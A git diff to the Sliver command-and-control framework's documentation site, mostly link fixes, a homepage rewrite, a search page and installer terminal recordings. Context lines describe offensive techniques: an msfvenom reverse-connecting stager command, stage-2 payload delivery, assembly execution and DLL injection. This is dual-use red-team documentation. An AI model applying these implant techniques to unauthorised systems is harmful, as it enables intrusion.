you're having issues pulling a certificate be sure to [check the logs](https://github.com/BishopFox/sliver/wiki/Troubleshooting). +This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](/docs?name=Troubleshooting). You can also upload your own SSL/TLS certificate/key pairs: @@ -166,7 +166,7 @@ This section covers the "under the hood" implementation details of Sliver's HTTP The primary goals of the existing HTTP C2 design are to: - **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration. -- **Data Security** I won't cover this here, but [click here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) for details. +- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details. - **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below. ### Procedural HTTP C2 @@ -179,7 +179,7 @@ Each implant is also only embedded with a randomly generated subset of the serve The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now): -1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](https://github.com/BishopFox/sliver/wiki/Transport-Encryption). Everything in the path except for the extension is ignored by the server. +1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server. In the default configuration: diff --git a/docs/sliver-docs/pages/docs/md/Multi-player Mode.md b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md index fb997bc99b..87dc9bca0b 100644 --- a/docs/sliver-docs/pages/docs/md/Multi-player Mode.md +++ b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md @@ -1,4 +1,4 @@ -Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode. +Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode. ``` ┌──────────────────┐ C2 diff --git a/docs/sliver-docs/pages/docs/md/Pivots.md b/docs/sliver-docs/pages/docs/md/Pivots.md index 1e299ee84f..f8353fb29e 100644 --- a/docs/sliver-docs/pages/docs/md/Pivots.md +++ b/docs/sliver-docs/pages/docs/md/Pivots.md @@ -6,7 +6,7 @@ Pivots allow you to create "chains" of implant connections, for example if you'r In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints. -Pivots perform an [authenticated peer-to-peer cryptographic key exchange](https://github.com/BishopFox/sliver/wiki/Transport-Encryption#implant-to-implant-key-exchange-pivots) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled. +Pivots perform an [authenticated peer-to-peer cryptographic key exchange](/docs?name=Transport+Encryption) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled. ## TCP Pivots diff --git a/docs/sliver-docs/pages/docs/md/Stagers.md b/docs/sliver-docs/pages/docs/md/Stagers.md index ee2cc360bc..0cc064c634 100644 --- a/docs/sliver-docs/pages/docs/md/Stagers.md +++ b/docs/sliver-docs/pages/docs/md/Stagers.md @@ -83,9 +83,9 @@ msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LU ## Custom Stagers -One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](). +One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2). -The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options]() using the `stager_file_ext` setting. +The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](/docs?name=HTTPS+C2) using the `stager_file_ext` setting. As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`. diff --git a/docs/sliver-docs/pages/docs/md/Third Party Tools.md b/docs/sliver-docs/pages/docs/md/Third Party Tools.md index a8b94fdf35..2ea8f81813 100644 --- a/docs/sliver-docs/pages/docs/md/Third Party Tools.md +++ b/docs/sliver-docs/pages/docs/md/Third Party Tools.md @@ -1,4 +1,4 @@ -# Sideloading features +## Sideloading Features Sliver implants support three different ways of loading third party tools: @@ -6,11 +6,11 @@ Sliver implants support three different ways of loading third party tools: - `sideload` - `spawndll` -## Known limitations +## Known Limitations Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension. -## .NET assemblies loading +## Loading .NET Assemblies This feature is only supported on Windows. @@ -59,7 +59,7 @@ sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All ... ``` -## Shared libraries side loading +## Shared Library Side Loading The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process. @@ -120,7 +120,7 @@ sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/Sa Please be aware that you need to specify the entrypoint to execute for Windows DLLs. -## Loading reflective DLLs +## Loading Reflective DLLs Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process. diff --git a/docs/sliver-docs/pages/docs/md/Troubleshooting.md b/docs/sliver-docs/pages/docs/md/Troubleshooting.md index c325531b91..283e24b476 100644 --- a/docs/sliver-docs/pages/docs/md/Troubleshooting.md +++ b/docs/sliver-docs/pages/docs/md/Troubleshooting.md @@ -1,5 +1,3 @@ -## Server/Client Troubleshooting - ### Server logs Server related logs are saved to: `~/.sliver/logs/` @@ -9,7 +7,7 @@ Server related logs are saved to: `~/.sliver/logs/` - `sliver.json` JSON formatted log (includes timestamps) - `audit.json` a JSON formatted history of commands/activity -The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files) +The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](/docs?name=Configuration+Files) ### Client logs diff --git a/docs/sliver-docs/pages/index.tsx b/docs/sliver-docs/pages/index.tsx index 0cb05d869d..f1983b6dc3 100644 --- a/docs/sliver-docs/pages/index.tsx +++ b/docs/sliver-docs/pages/index.tsx @@ -1,8 +1,13 @@ import AsciinemaPlayer from "@/components/asciinema"; +import { SliversIcon } from "@/components/icons/slivers"; +import TutorialCard from "@/components/tutorial-card"; import { Themes } from "@/util/themes"; import { Card, CardBody, CardHeader, Divider } from "@nextui-org/react"; +import { useRouter } from "next/router"; export default function Home() { + const router = useRouter(); + function getThemeState(): Themes { if (typeof window !== "undefined") { const loadedTheme = localStorage.getItem("theme"); @@ -20,7 +25,7 @@ export default function Home() { src="/asciinema/intro.cast" rows="18" cols="75" - idleTimeLimit={2} + idleTimeLimit={60} preload={true} autoPlay={true} loop={true} @@ -29,36 +34,70 @@ export default function Home() {
    - Sliver Command & Control +
    + + Sliver Command & Control +

    - Sliver is a Command and Control (C2) system made for penetration - testers, red teams, and blue teams. It generates implants that can - run on virtually every architecture out there, and securely manage - these connections through a central server. Sliver supports - multiple callback protocols including DNS, Mutual TLS (mTLS), - WireGuard, and HTTP(S) to make egress simple, even when those - pesky blue teams block your domains. You can even have multiple - operators (players) simultaneously commanding your sliver army. + Sliver is a powerful command and control (C2) framework designed + to provide advanced capabilities for covertly managing and + controlling remote systems. With Sliver, security professionals, + red teams, and penetration testers can easily establish a secure + and reliable communication channel over Mutual TLS, HTTP(S), DNS, + or Wireguard with target machines. Enabling them to execute + commands, gather information, and perform various + post-exploitation activities. The framework offers a user-friendly + console interface, extensive functionality, and support for + multiple operating systems as well as multiple CPU architectures, + making it an indispensable tool for conducting comprehensive + offensive security operations.

    - {/*
    -
    +
    +
    -
    */} +
    + +
    +
    +
    +
    + { + router.push({ + pathname: "/docs", + query: { name: "Getting Started" }, + }); + }} + /> +
    +
    +
    +
    + +
    ); } diff --git a/docs/sliver-docs/pages/search/index.tsx b/docs/sliver-docs/pages/search/index.tsx new file mode 100644 index 0000000000..a53800dffe --- /dev/null +++ b/docs/sliver-docs/pages/search/index.tsx @@ -0,0 +1,71 @@ +import MarkdownViewer from "@/components/markdown"; +import { useSearchContext } from "@/util/search-context"; +import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons"; +import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; +import { Button, Card, CardBody, Divider } from "@nextui-org/react"; +import { NextPage } from "next"; +import { useSearchParams } from "next/navigation"; +import { useRouter } from "next/router"; +import React from "react"; + +export type SearchPageProps = {}; + +const SearchPage: NextPage = (props: SearchPageProps) => { + const router = useRouter(); + const search = useSearchContext(); + const query = useSearchParams().get("search"); + + const searchResults = React.useMemo(() => { + if (query) { + return search.searchDocs(query); + } + return []; + }, [query, search]); + + return ( +
    +
    +
    +
    + Search: "{query?.slice(0, 50)}" +
    + {searchResults.length} Results +
    +
    + + {searchResults.map((doc) => ( + + +
    + {doc.name} +
    + +
    + + + +
    + +
    +
    +
    + ))} +
    +
    + +
    +
    + ); +}; + +export default SearchPage; diff --git a/docs/sliver-docs/public/asciinema/install-1.cast b/docs/sliver-docs/public/asciinema/install-1.cast new file mode 100644 index 0000000000..1953b041f0 --- /dev/null +++ b/docs/sliver-docs/public/asciinema/install-1.cast @@ -0,0 +1,185 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702828910, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.084701, "o", " \r\r"] +[0.134782, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.135514, "o", "\u001b[?1h\u001b="] +[0.136369, "o", "\u001b[?2004h"] +[1.996324, "o", "\u001b[7m\u001b[36mcurl\u001b[39m\u001b[7m https://sliver.sh/install\u001b[1m\u001b[7m\u001b[34m|\u001b[0m\u001b[39m\u001b[7m\u001b[4m\u001b[32msudo\u001b[24m\u001b[39m\u001b[7m \u001b[7m\u001b[36mbash\u001b[27m\u001b[39m"] +[2.447142, "o", "\u001b[40D\u001b[27m\u001b[36mc\u001b[27m\u001b[36mu\u001b[27m\u001b[36mr\u001b[27m\u001b[36ml\u001b[39m\u001b[27m \u001b[27mh\u001b[27mt\u001b[27mt\u001b[27mp\u001b[27ms\u001b[27m:\u001b[27m/\u001b[27m/\u001b[27ms\u001b[27ml\u001b[27mi\u001b[27mv\u001b[27me\u001b[27mr\u001b[27m.\u001b[27ms\u001b[27mh\u001b[27m/\u001b[27mi\u001b[27mn\u001b[27ms\u001b[27mt\u001b[27ma\u001b[27ml\u001b[27ml\u001b[27m\u001b[1m\u001b[34m|\u001b[0m\u001b[39m\u001b[27m\u001b[4m\u001b[32ms\u001b[27m\u001b[4m\u001b[32mu\u001b[27m\u001b[4m\u001b[32md\u001b[27m\u001b[4m\u001b[32mo\u001b[24m\u001b[39m\u001b[27m \u001b[27m\u001b[36mb\u001b[27m\u001b[36ma\u001b[27m\u001b[36ms\u001b[27m\u001b[36mh\u001b[39m "] +[3.088328, "o", "\u001b[?1l\u001b>"] +[3.095109, "o", "\u001b[?2004l\r\r\n"] +[3.138939, "o", " % Total % "] +[3.140482, "o", "Received % Xferd Average Speed Time T"] +[3.140953, "o", "ime Time Current\r\n Dload Upload Total Spent Left Speed\r\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0"] +[3.348678, "o", "\r"] +[3.349121, "o", "1"] +[3.349507, "o", "0"] +[3.34984, "o", "0"] +[3.350208, "o", " "] +[3.350435, "o", " "] +[3.35053, "o", "Installing dependencies using apt..."] +[3.350951, "o", "\r\r\n7420 10"] +[3.351661, "o", "0 742"] +[3.352273, "o", "0 0 0 35364 0 --:--:-- --:--:-- --:--:-- 35502\r\n"] +[9.95185, "o", "Selecting previously unselected package binutils-mingw-w64.\r"] +[9.952373, "o", "\r\r\n(Reading database ... \r"] +[9.971594, "o", "(Reading database ... 5%\r(Reading database ... 10%\r"] +[9.972513, "o", "(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r"] +[9.978663, "o", "(Reading database ... 55%\r"] +[9.995169, "o", "(Reading database ... 60%\r"] +[10.004957, "o", "(Reading database ... 65%\r"] +[10.018783, "o", "(Reading database ... 70%\r"] +[10.03848, "o", "(Reading database ... 75%\r"] +[10.056054, "o", "(Reading database ... 80%\r"] +[10.071003, "o", "(Reading database ... 85%\r"] +[10.084401, "o", "(Reading database ... 90%\r"] +[10.12239, "o", "(Reading database ... 95%\r"] +[10.173737, "o", "(Reading database ... 100%\r(Reading database ... 313406 files and directories currently installed.)\r\r\r\n"] +[10.189446, "o", "Preparing to unpack .../00-binutils-mingw-w64_2.41-4+11+nmu1_all.deb ...\r\r\r\n"] +[10.193803, "o", "Unpacking binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"] +[10.269046, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix-runtime.\r\r"] +[10.269564, "o", "\r\n"] +[10.308134, "o", "Preparing to unpack .../01-gcc-mingw-w64-i686-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r"] +[10.308482, "o", "\r\r\n"] +[10.312389, "o", "Unpacking gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"] +[11.4202, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix.\r\r\r\n"] +[11.455985, "o", "Preparing to unpack .../02-gcc-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[11.460478, "o", "Unpacking gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[14.104305, "o", "Selecting previously unselected package g++-mingw-w64-i686-posix.\r\r\r\n"] +[14.141357, "o", "Preparing to unpack .../03-g++-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[14.146621, "o", "Unpacking g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[15.731417, "o", "Selecting previously unselected package g++-mingw-w64-i686-win32.\r"] +[15.731829, "o", "\r\r\n"] +[15.768219, "o", "Preparing to unpack .../04-g++-mingw-w64-i686-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[15.772983, "o", "Unpacking g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"] +[17.37459, "o", "Selecting previously unselected package g++-mingw-w64-i686.\r\r"] +[17.374696, "o", "\r\n"] +[17.411973, "o", "Preparing to unpack .../05-g++-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[17.426232, "o", "Unpacking g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"] +[17.426332, "o", "\r\r\n"] +[17.503886, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix-runtime.\r\r"] +[17.504212, "o", "\r\n"] +[17.541562, "o", "Preparing to unpack .../06-gcc-mingw-w64-x86-64-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[17.546412, "o", "Unpacking gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"] +[18.714872, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix.\r"] +[18.715259, "o", "\r\r\n"] +[18.751957, "o", "Preparing to unpack .../07-gcc-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[18.756477, "o", "Unpacking gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[21.433457, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-posix.\r"] +[21.434029, "o", "\r\r\n"] +[21.469656, "o", "Preparing to unpack .../08-g++-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[21.473949, "o", "Unpacking g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[23.071383, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-win32.\r"] +[23.071919, "o", "\r\r\n"] +[23.109876, "o", "Preparing to unpack .../09-g++-mingw-w64-x86-64-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[23.114113, "o", "Unpacking g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r\r\n"] +[24.915719, "o", "Selecting previously unselected package g++-mingw-w64-x86-64.\r"] +[24.916042, "o", "\r\r\n"] +[24.954255, "o", "Preparing to unpack .../10-g++-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[24.968491, "o", "Unpacking g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"] +[24.968909, "o", "\r\r\n"] +[25.069388, "o", "Selecting previously unselected package g++-mingw-w64.\r\r"] +[25.070115, "o", "\r\n"] +[25.111677, "o", "Preparing to unpack .../11-g++-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.126555, "o", "Unpacking g++-mingw-w64 (12.2.0-14+25.2) ...\r\r"] +[25.126669, "o", "\r\n"] +[25.216987, "o", "Selecting previously unselected package gcc-mingw-w64-i686.\r\r"] +[25.217088, "o", "\r\n"] +[25.255678, "o", "Preparing to unpack .../12-gcc-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.270793, "o", "Unpacking gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r"] +[25.270892, "o", "\r\n"] +[25.365118, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64.\r"] +[25.365778, "o", "\r\r\n"] +[25.4112, "o", "Preparing to unpack .../13-gcc-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.432324, "o", "Unpacking gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"] +[25.53257, "o", "Selecting previously unselected package gcc-mingw-w64.\r"] +[25.533103, "o", "\r\r\n"] +[25.571001, "o", "Preparing to unpack .../14-gcc-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.587241, "o", "Unpacking gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"] +[25.679011, "o", "Selecting previously unselected package mingw-w64.\r\r\r\n"] +[25.722919, "o", "Preparing to unpack .../15-mingw-w64_11.0.1-3_all.deb ...\r\r\r\n"] +[25.728104, "o", "Unpacking mingw-w64 (11.0.1-3) ...\r\r\r\n"] +[25.902193, "o", "Setting up g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.005609, "o", "update-alternatives: using /usr/bin/i686-w64-mingw32-g++-win32 to provide /usr/bin/i686-w64-mingw32-g++ (i686-w64-mingw32-g++) in auto mode\r\r\r\n"] +[26.017091, "o", "Setting up g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r"] +[26.017273, "o", "\r\n"] +[26.040122, "o", "update-alternatives: using /usr/bin/x86_64-w64-mingw32-g++-win32 to provide /usr/bin/x86_64-w64-mingw32-g++ (x86_64-w64-mingw32-g++) in auto mode\r\r\r\n"] +[26.049058, "o", "Setting up gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r"] +[26.049155, "o", "\r\r\n"] +[26.062459, "o", "Setting up gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[26.087899, "o", "Setting up gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r"] +[26.087992, "o", "\r"] +[26.089821, "o", "\r\n"] +[26.103367, "o", "Setting up gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.122926, "o", "Setting up binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"] +[26.135388, "o", "Setting up gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[26.16056, "o", "Setting up g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r"] +[26.160655, "o", "\r\r\n"] +[26.185839, "o", "Setting up gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.205943, "o", "Setting up g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"] +[26.206287, "o", "\r\r\n"] +[26.226095, "o", "Setting up gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.245408, "o", "Setting up g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[26.282804, "o", "Setting up g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"] +[26.28308, "o", "\r\r\n"] +[26.302298, "o", "Setting up g++-mingw-w64 (12.2.0-14+25.2) ...\r"] +[26.30253, "o", "\r\r\n"] +[26.321881, "o", "Setting up mingw-w64 (11.0.1-3) ...\r"] +[26.322234, "o", "\r\r\n"] +[26.542589, "o", "Running from /root\r"] +[26.54269, "o", "\r\nImporting GPG key...\r\r\n"] +[26.558262, "o", "gpg: directory '/root/.gnupg' created\r\r\n"] +[26.55918, "o", "gpg: keybox '/root/.gnupg/pubring.kbx' created\r\r\n"] +[26.564249, "o", "gpg: /root/.gnupg/trustdb.gpg: trustdb created\r"] +[26.564907, "o", "\r\n"] +[26.565004, "o", "gpg: key 7DF912404449039C: public key \"Sliver \" imported\r\r\n"] +[26.584997, "o", "gpg: Total number processed: 1\r\r\ngpg: imported: 1\r\r\n"] +[26.586357, "o", "Fetching latest Sliver release URLs...\r"] +[26.586453, "o", "\r\n"] +[26.844076, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux\r"] +[26.844639, "o", "\r\n"] +[27.564024, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux.sig\r\r\n"] +[28.06082, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux\r"] +[28.061261, "o", "\r\n"] +[29.324939, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux.sig\r\r\n"] +[29.764868, "o", "Verifying signatures ...\r\r\n"] +[31.017103, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"] +[31.017879, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver \" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\n"] +[31.018347, "o", "Primary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"] +[31.293632, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"] +[31.294345, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver \" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\nPrimary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"] +[31.295425, "o", "Moving the Sliver server executable to /root/sliver-server...\r\r\n"] +[31.298457, "o", "Setting permissions for the Sliver server executable...\r"] +[31.298717, "o", "\r\n"] +[31.300852, "o", "Unpacking the Sliver server...\r"] +[31.30108, "o", "\r\n"] +[31.450868, "o", "\r"] +[31.451189, "o", "\r\nSliver Copyright (C) 2022 Bishop Fox\r\r\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.\r\r\nThis is free software, and you are welcome to redistribute it\r\r\nunder certain conditions; type 'licenses' for details.\r\r\n\r\r\nUnpacking assets ...\r\r\n"] +[35.564985, "o", "Setting permissions for the Sliver client executable...\r\r\n"] +[35.567358, "o", "Copying the Sliver client executable to /usr/local/bin/sliver-client...\r\r\n"] +[35.570389, "o", "'/root/sliver-client_linux' -> '/usr/local/bin/sliver-client'"] +[35.570712, "o", "\r\r\n"] +[35.651173, "o", "Creating a symbolic link for sliver-client at /usr/local/bin/sliver...\r\r\n"] +[35.655603, "o", "Setting permissions for the symbolic link /usr/local/bin/sliver...\r\r\n"] +[35.65606, "o", "Configuring systemd service ...\r\r\n"] +[35.66269, "o", "Starting the Sliver service...\r\r\n"] +[35.706928, "o", "Generating local configs ...\r"] +[35.707266, "o", "\r\nGenerating operator configs ...\r\r\n"] +[36.088212, "o", "Generating operator configs for user kali...\r"] +[36.088987, "o", "\r\n"] +[36.19216, "o", " \r\r"] +[36.234115, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[36.234287, "o", "\u001b[?1h\u001b="] +[36.235669, "o", "\u001b[?2004h"] +[37.91677, "o", "\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"] +[38.060827, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[24m\u001b[39m"] +[38.172203, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[4m\u001b[37mi\u001b[24m\u001b[39m"] +[38.298728, "o", "\b\u001b[4m\u001b[37mi\u001b[4m\u001b[37mv\u001b[24m\u001b[39m"] +[38.476402, "o", "\b\u001b[4m\u001b[37mv\u001b[4m\u001b[37me\u001b[24m\u001b[39m"] +[38.545985, "o", "\b\b\b\b\b\u001b[24m\u001b[36ms\u001b[24m\u001b[36ml\u001b[24m\u001b[36mi\u001b[24m\u001b[36mv\u001b[24m\u001b[36me\u001b[36mr\u001b[39m"] +[39.070667, "o", "\u001b[?1l\u001b>"] +[39.073138, "o", "\u001b[?2004l\r\r\n"] +[39.226719, "o", "Connecting to localhost:31337 ...\r\n"] +[39.280105, "o", "\u001b[m"] +[39.285034, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain reinforce\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"] +[39.285661, "o", "\u001b[1m\u001b[36m[*] \u001b[0mCheck for updates with the 'update' command\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[44.544399, "o", "\u001b[?2004l\r\r\n"] diff --git a/docs/sliver-docs/public/asciinema/intro.cast b/docs/sliver-docs/public/asciinema/intro.cast index b8174c0250..30af6710ec 100644 --- a/docs/sliver-docs/public/asciinema/intro.cast +++ b/docs/sliver-docs/public/asciinema/intro.cast @@ -20,5 +20,5 @@ [3.122345, "o", "\u001b[m"] [3.12272, "o", "\u001b[31m\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\n"] [3.124753, "o", "\u001b[0m\r\nAll hackers gain jump-start\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] 